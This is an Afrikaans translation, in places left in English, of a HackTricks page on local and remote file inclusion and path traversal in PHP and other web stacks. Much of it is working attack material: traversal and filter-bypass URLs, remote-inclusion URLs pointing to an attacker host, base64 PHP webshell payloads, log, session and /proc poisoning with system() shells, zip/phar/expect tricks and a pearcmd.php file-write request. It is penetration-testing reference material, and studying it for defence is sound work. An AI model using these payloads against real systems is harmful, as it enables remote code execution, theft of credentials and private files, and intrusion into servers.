.. | ||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md | ||
lfi2rce-via-eternal-waiting.md | ||
lfi2rce-via-nginx-temp-files.md | ||
lfi2rce-via-php-filters.md | ||
lfi2rce-via-phpinfo.md | ||
lfi2rce-via-segmentation-fault.md | ||
lfi2rce-via-temp-file-uploads.md | ||
phar-deserialization.md | ||
README.md | ||
via-php_session_upload_progress.md |
Bestandsinsluiting/Pad traversering
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Sluit aan by HackenProof Discord bediener om met ervare hackers en bug bounty jagters te kommunikeer!
Hacking Inligting
Betrek jouself met inhoud wat die opwinding en uitdagings van hacking ondersoek
Regte Tyd Hack Nuus
Bly op hoogte van die vinnige hacking wĂȘreld deur middel van regte tyd nuus en insigte
Laaste Aankondigings
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!
Bestandsinsluiting
Afgeleë Bestandsinsluiting (RFI): Die bestand word van 'n afgeleë bediener gelaai (Beste: Jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit deaktiviseer per standaard (allow_url_include).
Plaaslike Bestandsinsluiting (LFI): Die bediener laai 'n plaaslike bestand.
Die kwesbaarheid ontstaan wanneer die gebruiker op een of ander manier die bestand kan beheer wat deur die bediener gelaai gaan word.
Kwetsbare PHP funksies: require, require_once, include, include_once
'n Interessante hulpmiddel om hierdie kwesbaarheid te benut: https://github.com/kurobeats/fimap
Blind - Interessant - LFI2RCE lĂȘers
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Deur verskeie *nix LFI-lists te meng en meer paaie by te voeg, het ek hierdie een geskep:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
Probeer ook om /
te verander na \
Probeer ook om ../../../../../
by te voeg
'n Lys wat verskeie tegnieke gebruik om die lĂȘer /etc/password te vind (om te kyk of die kwesbaarheid bestaan) kan hier gevind word.
Windows
Samevoeging van verskillende woordlyste:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
Probeer ook om /
te verander na \
Probeer ook om C:/
te verwyder en ../../../../../
by te voeg
'n Lys wat verskeie tegnieke gebruik om die lĂȘer /boot.ini te vind (om te kyk of die kwesbaarheid bestaan) kan hier gevind word.
OS X
Kontroleer die LFI lys van linux.
Basiese LFI en omseilings
Al die voorbeelde is vir Local File Inclusion, maar kan ook op Remote File Inclusion toegepas word (bladsy=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traverseringsekwensies nie-recursief verwyder
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Om die byvoeging van meer karakters aan die einde van die verskafde string te omseil (omseiling van: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Dit is opgelos sedert PHP 5.4
Kodering
Jy kan nie-standaard kodering gebruik soos dubbele URL-kodering (en ander):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Van bestaande gids
Miskien kyk die agterkant na die gids pad:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Verkenning van LĂȘerstelsels op 'n Bediener
Die lĂȘerstelsel van 'n bediener kan herhalend verken word om direkteure te identifiseer, nie net lĂȘers nie, deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die diepte van die direkteur en die ondersoek na die bestaan van spesifieke vouers. Hieronder is 'n gedetailleerde metode om dit te bereik:
- Bepaal Direkteur Diepte: Bepaal die diepte van jou huidige direkteur deur suksesvol die
/etc/passwd
lĂȘer te verkry (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan as volg gestruktureer wees, wat 'n diepte van drie aandui:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Probeer vir Gidsen: Voeg die naam van die vermoedelijke gids (bv.
private
) by die URL, en navigeer dan terug na/etc/passwd
. Die ekstra gidsvlak vereis dat die diepte met een verhoog word:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interpret die Uitslae: Die bediener se antwoord dui aan of die gids bestaan:
- Fout / Geen Uitset: Die gids
private
bestaan waarskynlik nie op die gespesifiseerde ligging nie. - Inhoud van
/etc/passwd
: Die teenwoordigheid van dieprivate
gids word bevestig.
- Recursiewe Verkenning: Ontdekte gidse kan verder ondersoek word vir subgidse of lĂȘers met dieselfde tegniek of tradisionele Local File Inclusion (LFI) metodes.
Vir die verkenning van gidse op verskillende plekke in die lĂȘerstelsel, pas die payload dienooreenkomstig aan. Byvoorbeeld, om te kyk of /var/www/
'n private
gids bevat (aannemende dat die huidige gids op 'n diepte van 3 is), gebruik:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Pad Truncasie Tegniek
Pad truncasie is 'n metode wat gebruik word om lĂȘerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om beperkte lĂȘers te bekom deur sekere sekuriteitsmaatreĂ«ls te omseil wat addisionele karakters aan die einde van lĂȘerpaaie voeg. Die doel is om 'n lĂȘerpad te skep wat, sodra dit deur die sekuriteitsmaatreĂ«l verander word, steeds na die gewenste lĂȘer wys.
In PHP kan verskeie voorstellings van 'n lĂȘerpad as gelyk beskou word weens die aard van die lĂȘerstelsel. Byvoorbeeld:
/etc/passwd
,/etc//passwd
,/etc/./passwd
, en/etc/passwd/
word almal as dieselfde pad beskou.- Wanneer die laaste 6 karakters
passwd
is, verander die toevoeging van 'n/
(wat ditpasswd/
maak) nie die geteikende lĂȘer nie. - Op soortgelyke wyse, as
.php
aan 'n lĂȘerpad (soosshellcode.php
) gevoeg word, sal die toevoeging van/.
aan die einde nie die lĂȘer wat toegang verkry nie, verander.
Die verskafde voorbeelde demonstreer hoe om pad truncasie te gebruik om toegang te verkry tot /etc/passwd
, 'n algemene teiken weens sy sensitiewe inhoud (gebruikersrekeninginligting):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
In hierdie scenario's mag die aantal traversals wat nodig is ongeveer 2027 wees, maar hierdie getal kan wissel op grond van die bediener se konfigurasie.
- Gebruik van Punt Segmente en Addisionele Karakters: Traversal sekwensies (
../
) gekombineer met ekstra punt segmente en karakters kan gebruik word om die lĂȘerstelsel te navigeer, wat effektief bygevoegde stringe deur die bediener ignoreer. - Bepaling van die Benodigde Aantal Traversals: Deur middel van proef en fout kan 'n mens die presiese aantal
../
sekwensies vind wat nodig is om na die wortelgids te navigeer en dan na/etc/passwd
, terwyl verseker word dat enige bygevoegde stringe (soos.php
) geneutraliseer word, maar die gewenste pad (/etc/passwd
) intakt bly. - Begin met 'n Vals Gids: Dit is 'n algemene praktyk om die pad met 'n nie-bestaande gids (soos
a/
) te begin. Hierdie tegniek word gebruik as 'n voorsorgmaatreël of om die vereistes van die bediener se pad parsingslogika te vervul.
Wanneer pad truncasie tegnieke toegepas word, is dit van kardinale belang om die bediener se pad parsingsgedrag en lĂȘerstelselstruktuur te verstaan. Elke scenario mag 'n ander benadering vereis, en toetsing is dikwels nodig om die mees effektiewe metode te vind.
Hierdie kwesbaarheid is reggestel in PHP 5.3.
Filter omseil truuks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
In php is dit standaard deaktiveer omdat allow_url_include
Af is. Dit moet Aan wees vir dit om te werk, en in daardie geval kan jy 'n PHP-lĂȘer van jou bediener insluit en RCE verkry:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
As dit om een of ander rede allow_url_include
Aan is, maar PHP filter toegang tot eksterne webbladsye, volgens hierdie pos, kan jy byvoorbeeld die dataprotocol met base64 gebruik om 'n b64 PHP-kode te dekodeer en RCE te verkry:
{% code overflow="wrap" %}
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
{% endcode %}
{% hint style="info" %}
In die vorige kode is die finale +.txt
bygevoeg omdat die aanvaller 'n string nodig gehad het wat op .txt
eindig, so die string eindig daarmee en na die b64-dekodeer sal daardie deel net rommel teruggee en die werklike PHP-kode sal ingesluit word (en dus, uitgevoer).
{% endhint %}
Nog 'n voorbeeld wat nie die php://
protokol gebruik nie sou wees:
{% code overflow="wrap" %}
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
{% endcode %}
Python Wortel element
In python in 'n kode soos hierdie:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
As die gebruiker 'n absolute pad na file_name
deurgee, word die vorige pad net verwyder:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Dit is die bedoelde gedrag volgens die dokumentasie:
As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en die aansluiting gaan voort vanaf die absolute padkomponent.
Java Lys Gidsen
Dit lyk of jy 'n Pad Traversal in Java het en jy vra vir 'n gids in plaas van 'n lĂȘer, 'n lys van die gids word teruggestuur. Dit sal nie in ander tale gebeur nie (sover ek weet).
Top 25 parameters
Hier is 'n lys van die top 25 parameters wat kwesbaar kan wees vir plaaslike lĂȘerinvoeging (LFI) kwesbaarhede (van skakel):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI met PHP wrappers & protokolle
php://filter
PHP-filters laat basiese wysigingsoperasies op die data toe voordat dit gelees of geskryf word. Daar is 5 kategorieë filters:
- String Filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Verwyder tags van die data (alles tussen "<" en ">" karakters)- Let daarop dat hierdie filter uit die moderne weergawes van PHP verdwyn het
- Conversion Filters
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Transformeer na 'n ander kodering (convert.iconv.<input_enc>.<output_enc>
). Om die lys van alle koderinge wat ondersteun word te kry, voer in die konsole in:iconv -l
{% hint style="warning" %}
Deur die convert.iconv.*
omskakelingsfilter te misbruik, kan jy arbitraire teks genereer, wat nuttig kan wees om arbitraire teks te skryf of 'n funksie soos insluitingsproses arbitraire teks te maak. Vir meer inligting, kyk na LFI2RCE via php filters.
{% endhint %}
- Compression Filters
zlib.deflate
: Komprimeer die inhoud (nuttig as jy baie inligting uitbring)zlib.inflate
: Decomprimeer die data- Encryption Filters
mcrypt.*
: Verouderdmdecrypt.*
: Verouderd- Ander Filters
- Deur in php
var_dump(stream_get_filters());
te loop, kan jy 'n paar onverwagte filters vind: consumed
dechunk
: keer HTTP chunked kodering omconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,ÂŁhellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
{% hint style="warning" %} Die deel "php://filter" is nie hooflettergevoelig nie {% endhint %}
Gebruik php-filters as orakel om arbitrĂȘre lĂȘers te lees
In hierdie pos word 'n tegniek voorgestel om 'n plaaslike lĂȘer te lees sonder om die uitvoer van die bediener terug te ontvang. Hierdie tegniek is gebaseer op 'n booleaanse eksfiltrasie van die lĂȘer (karakter vir karakter) met behulp van php-filters as orakel. Dit is omdat php-filters gebruik kan word om 'n teks groot genoeg te maak sodat php 'n uitsondering kan gooi.
In die oorspronklike pos kan jy 'n gedetailleerde verduideliking van die tegniek vind, maar hier is 'n vinnige opsomming:
- Gebruik die kode
UCS-4LE
om die voorste karakter van die teks aan die begin te laat en maak die grootte van die string eksponensieel groter. - Dit sal gebruik word om 'n teks so groot te genereer wanneer die aanvanklike letter korrek geraai word dat php 'n fout sal veroorsaak.
- Die dechunk filter sal alles verwyder as die eerste karakter nie 'n hexadesimale is nie, sodat ons kan weet of die eerste karakter hex is.
- Dit, gekombineer met die vorige een (en ander filters afhangende van die geraaide letter), sal ons in staat stel om 'n letter aan die begin van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie 'n hexadesimale karakter te maak nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal php-fout veroorsaak.
- Die kode convert.iconv.UNICODE.CP930 transformeer elke letter in die volgende een (so na hierdie kode: a -> b). Dit stel ons in staat om te ontdek of die eerste letter 'n
a
is byvoorbeeld, want as ons 6 van hierdie kode toepas a->b->c->d->e->f->g is die letter nie meer 'n hexadesimale karakter nie, daarom het dechunk dit nie verwyder nie en die php-fout word veroorsaak omdat dit met die aanvanklike bom vermenigvuldig. - Deur ander transformasies soos rot13 aan die begin te gebruik, is dit moontlik om ander karakters soos n, o, p, q, r te lek (en ander kodes kan gebruik word om ander letters na die hex-reeks te beweeg).
- Wanneer die aanvanklike karakter 'n nommer is, is dit nodig om dit in base64 te kodeer en die eerste 2 letters te lek om die nommer te lek.
- Die finale probleem is om te sien hoe om meer as die aanvanklike letter te lek. Deur orde geheue filters soos convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE te gebruik, is dit moontlik om die orde van die karakters te verander en ander letters van die teks in die eerste posisie te kry.
- En ten einde verdere data te verkry, is die idee om 2 bytes van rommeldata aan die begin te genereer met convert.iconv.UTF16.UTF16, toepas UCS-4LE om dit te pivot met die volgende 2 bytes, en verwyder die data tot die rommeldata (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Hou aan om dit te doen totdat jy die gewenste bit bereik om te lek.
In die pos is 'n hulpmiddel om dit outomaties uit te voer ook gelekt: php_filters_chain_oracle_exploit.
php://fd
Hierdie wrapper stel jou in staat om lĂȘerdescriptors te benader wat die proses oop het. Potensieel nuttig om die inhoud van oop lĂȘers te eksfiltreer:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
U kan ook php://stdin, php://stdout en php://stderr gebruik om toegang te verkry tot die lĂȘer beskrywings 0, 1 en 2 onderskeidelik (nie seker hoe dit nuttig kan wees in 'n aanval nie)
zip:// en rar://
Laai 'n Zip of Rar lĂȘer op met 'n PHPShell binne en toegang dit.
Om die rar protokol te kan misbruik, moet dit spesifiek geaktiveer word.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Let wel dat hierdie protokol beperk word deur php-konfigurasies allow_url_open
en allow_url_include
expect://
Expect moet geaktiveer wees. Jy kan kode uitvoer met hierdie:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Spesifiseer jou payload in die POST parameters:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
'n .phar
-lĂȘer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos include
vir lĂȘerlaai benut. Die PHP-kodefragment hieronder demonstreer die skepping van 'n .phar
-lĂȘer:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Om die .phar
-lĂȘer te kompileer, moet die volgende opdrag uitgevoer word:
php --define phar.readonly=0 create_path.php
Upon execution, a file named test.phar
will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, or filesize()
, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the phar
protocol.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar
files, refer to the document linked below:
Phar Deserialization Exploitation Guide
{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}
CVE-2024-2961
Dit was moontlik om enige arbitrĂȘre lĂȘer wat van PHP gelees word wat php-filters ondersteun te misbruik om 'n RCE te verkry. Die gedetailleerde beskrywing kan in hierdie pos gevind word.
Baie vinnige opsomming: 'n 3 byte oorgang in die PHP-heap is misbruik om die ketting van vrye stukke van 'n spesifieke grootte te verander sodat dit moontlik was om enigiets in enige adres te skryf, so 'n haak is bygevoeg om system
aan te roep.
Dit was moontlik om stukke van spesifieke groottes toe te ken deur meer php-filters te misbruik.
More protocols
Check more possible protocols to include here:
- php://memory and php://temp â Skryf in geheue of in 'n tydelike lĂȘer (nie seker hoe dit nuttig kan wees in 'n lĂȘerinvoegaanval nie)
- file:// â Toegang tot plaaslike lĂȘerstelsel
- http:// â Toegang tot HTTP(s) URL's
- ftp:// â Toegang tot FTP(s) URL's
- zlib:// â Kompressiestrome
- glob:// â Vind padname wat aan patroon voldoen (Dit gee niks drukbaar terug nie, so nie regtig nuttig hier nie)
- ssh2:// â Veilige Shell 2
- ogg:// â Klankstrome (Nie nuttig om arbitrĂȘre lĂȘers te lees nie)
LFI via PHP's 'assert'
Local File Inclusion (LFI) risiko's in PHP is merkbaar hoog wanneer dit kom by die 'assert' funksie, wat kode binne stringe kan uitvoer. Dit is veral problematies as invoer wat katalogus traversie karakters soos ".." bevat, nagegaan word maar nie behoorlik gesuiwer word nie.
For example, PHP code might be designed to prevent directory traversal like so:
assert("strpos('$file', '..') === false") or die("");
Terwyl dit daarop gemik is om traversie te stop, skep dit onbedoeld 'n vektor vir kode-inspuiting. Om dit te benut om lĂȘerinhoud te lees, kan 'n aanvaller gebruik maak van:
' and die(highlight_file('/etc/passwd')) or '
Net so, om arbitrĂȘre stelselskommando's uit te voer, kan 'n mens gebruik maak van:
' and die(system("id")) or '
Dit is belangrik om URL-encode hierdie payloads.
Sluit aan by HackenProof Discord bediener om te kommunikeer met ervare hackers en bug bounty jagters!
Hacking Inligting
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
Regte Tyd Hack Nuus
Bly op hoogte van die vinnig bewegende hacking wĂȘreld deur middel van regte tyd nuus en insigte
Laaste Aankondigings
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!
PHP Blind Path Traversal
{% hint style="warning" %}
Hierdie tegniek is relevant in gevalle waar jy beheer oor die lĂȘerpad van 'n PHP funksie het wat 'n lĂȘer sal toegang maar jy sal nie die inhoud van die lĂȘer sien nie (soos 'n eenvoudige oproep na file()
) maar die inhoud word nie gewys nie.
{% endhint %}
In hierdie ongelooflike pos word verduidelik hoe 'n blinde pad traversering misbruik kan word via PHP filter om die inhoud van 'n lĂȘer via 'n fout oracle' te exfiltreer.
In samevatting, die tegniek gebruik die "UCS-4LE" kodering om die inhoud van 'n lĂȘer so groot te maak dat die PHP funksie wat die lĂȘer oopmaak 'n fout sal veroorsaak.
Dan, om die eerste karakter te lek, word die filter dechunk
gebruik saam met ander soos base64 of rot13 en uiteindelik word die filters convert.iconv.UCS-4.UCS-4LE en convert.iconv.UTF16.UTF-16BE gebruik om ander karakters aan die begin te plaas en hulle te lek.
Funksies wat kwesbaar mag wees: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (slegs teiken lees net hiermee)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Vir die tegniese besonderhede, kyk na die genoemde pos!
LFI2RCE
Remote File Inclusion
Soos voorheen verduidelik, volg hierdie skakel.
Via Apache/Nginx log lĂȘer
As die Apache of Nginx bediener kwesbaar is vir LFI binne die insluitingsfunksie, kan jy probeer om toegang te verkry tot /var/log/apache2/access.log
of /var/log/nginx/access.log
, stel binne die gebruikersagent of binne 'n GET parameter 'n php shell soos <?php system($_GET['c']); ?>
en sluit daardie lĂȘer in
{% hint style="warning" %} Let daarop dat as jy dubbele aanhalings vir die shell gebruik in plaas van enkele aanhalings, die dubbele aanhalings sal verander word na die string "quote;", PHP sal 'n fout gooi daar en niks anders sal uitgevoer word nie.
Maak ook seker dat jy die payload korrek skryf of PHP sal elke keer 'n fout gooi wanneer dit probeer om die log lĂȘer te laai en jy sal nie 'n tweede geleentheid hĂȘ nie. {% endhint %}
Dit kan ook in ander logs gedoen word, maar wees versigtig, die kode binne die logs kan URL-gecodeer wees en dit kan die Shell vernietig. Die kopstuk authorisation "basic" bevat "user:password" in Base64 en dit word binne die logs gedecodeer. Die PHPShell kan binne hierdie kopstuk ingevoeg word.
Ander moontlike log paaie:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Via Email
Stuur 'n e-pos na 'n interne rekening (user@localhost) wat jou PHP payload bevat soos <?php echo system($_REQUEST["cmd"]); ?>
en probeer om in te sluit in die e-pos van die gebruiker met 'n pad soos /var/mail/<USERNAME>
of /var/spool/mail/<USERNAME>
Via /proc/*/fd/*
- Laai 'n groot aantal shells op (byvoorbeeld: 100)
- Sluit http://example.com/index.php?page=/proc/$PID/fd/$FD in, met $PID = PID van die proses (kan brute-forced word) en $FD die lĂȘerdeskriptor (kan ook brute-forced word)
Via /proc/self/environ
Soos 'n loglĂȘer, stuur die payload in die User-Agent, dit sal binne die /proc/self/environ lĂȘer weerspieĂ«l word
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via oplaai
As jy 'n lĂȘer kan oplaai, voeg net die shell payload daarin in (bv: <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Om die lĂȘer leesbaar te hou, is dit die beste om in die metadata van die prente/doc/pdf in te spuit.
Deur Zip lĂȘer op te laai
Laai 'n ZIP-lĂȘer op wat 'n PHP-shell gecomprimeer bevat en toegang:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Deur PHP sessies
Kontroleer of die webwerf PHP Sessies (PHPSESSID) gebruik
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
In PHP word hierdie sessies gestoor in /var/lib/php5/sess\[PHPSESSID]_ lĂȘers
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Stel die koekie in op <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Gebruik die LFI om die PHP-sessie lĂȘer in te sluit
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Via ssh
As ssh aktief is, kyk watter gebruiker gebruik word (/proc/self/status & /etc/passwd) en probeer om toegang te verkry tot <HOME>/.ssh/id_rsa
Via vsftpd logs
Die logs vir die FTP-bediener vsftpd is geleë by /var/log/vsftpd.log. In die scenario waar 'n Local File Inclusion (LFI) kwesbaarheid bestaan, en toegang tot 'n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word:
- Spuit 'n PHP payload in die gebruikersnaamveld tydens die aanmeldproses.
- Na inspuiting, gebruik die LFI om die bedienerlogs van /var/log/vsftpd.log te verkry.
Via php base64 filter (using base64)
Soos in hierdie artikel gewys, ignoreer die PHP base64 filter eenvoudig nie-base64. Jy kan dit gebruik om die lĂȘer uitbreiding kontrole te omseil: as jy base64 verskaf wat eindig op ".php", sal dit eenvoudig die "." ignoreer en "php" aan die base64 voeg. Hier is 'n voorbeeld payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (geen lĂȘer nodig)
Hierdie skrywe verduidelik dat jy php-filters kan gebruik om arbitrĂȘre inhoud as uitvoer te genereer. Dit beteken basies dat jy arbitrĂȘre php-kode vir die insluiting kan genereer sonder om dit in 'n lĂȘer te skryf.
{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}
Via segmentasiefout
Laai 'n lĂȘer op wat as tydelik in /tmp
gestoor sal word, dan in die dieselfde versoek, veroorsaak 'n segmentasiefout, en dan sal die tydelike lĂȘer nie verwyder word nie en jy kan daarna soek.
{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}
Via Nginx tydelike lĂȘer stoor
As jy 'n Plaaslike LĂȘer Insluiting gevind het en Nginx loop voor PHP, kan jy dalk RCE verkry met die volgende tegniek:
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}
Via PHP_SESSION_UPLOAD_PROGRESS
As jy 'n Plaaslike LĂȘer Insluiting gevind het selfs al het jy nie 'n sessie nie en session.auto_start
is Off
. As jy die PHP_SESSION_UPLOAD_PROGRESS
in multipart POST data verskaf, sal PHP die sessie vir jou aktiveer. Jy kan dit misbruik om RCE te verkry:
{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}
Via tydelike lĂȘer opgelaai in Windows
As jy 'n Plaaslike LĂȘer Insluiting gevind het en die bediener loop in Windows, kan jy RCE verkry:
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}
Via pearcmd.php
+ URL args
Soos verduidelik in hierdie pos, bestaan die skrip /usr/local/lib/phppearcmd.php
standaard in php docker beelde. Boonop is dit moontlik om argumente aan die skrip deur die URL te gee omdat dit aangedui word dat as 'n URL-param nie 'n =
het nie, dit as 'n argument gebruik moet word.
Die volgende versoek skep 'n lĂȘer in /tmp/hello.php
met die inhoud <?=phpinfo()?>
:
{% code overflow="wrap" %}
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
{% endcode %}
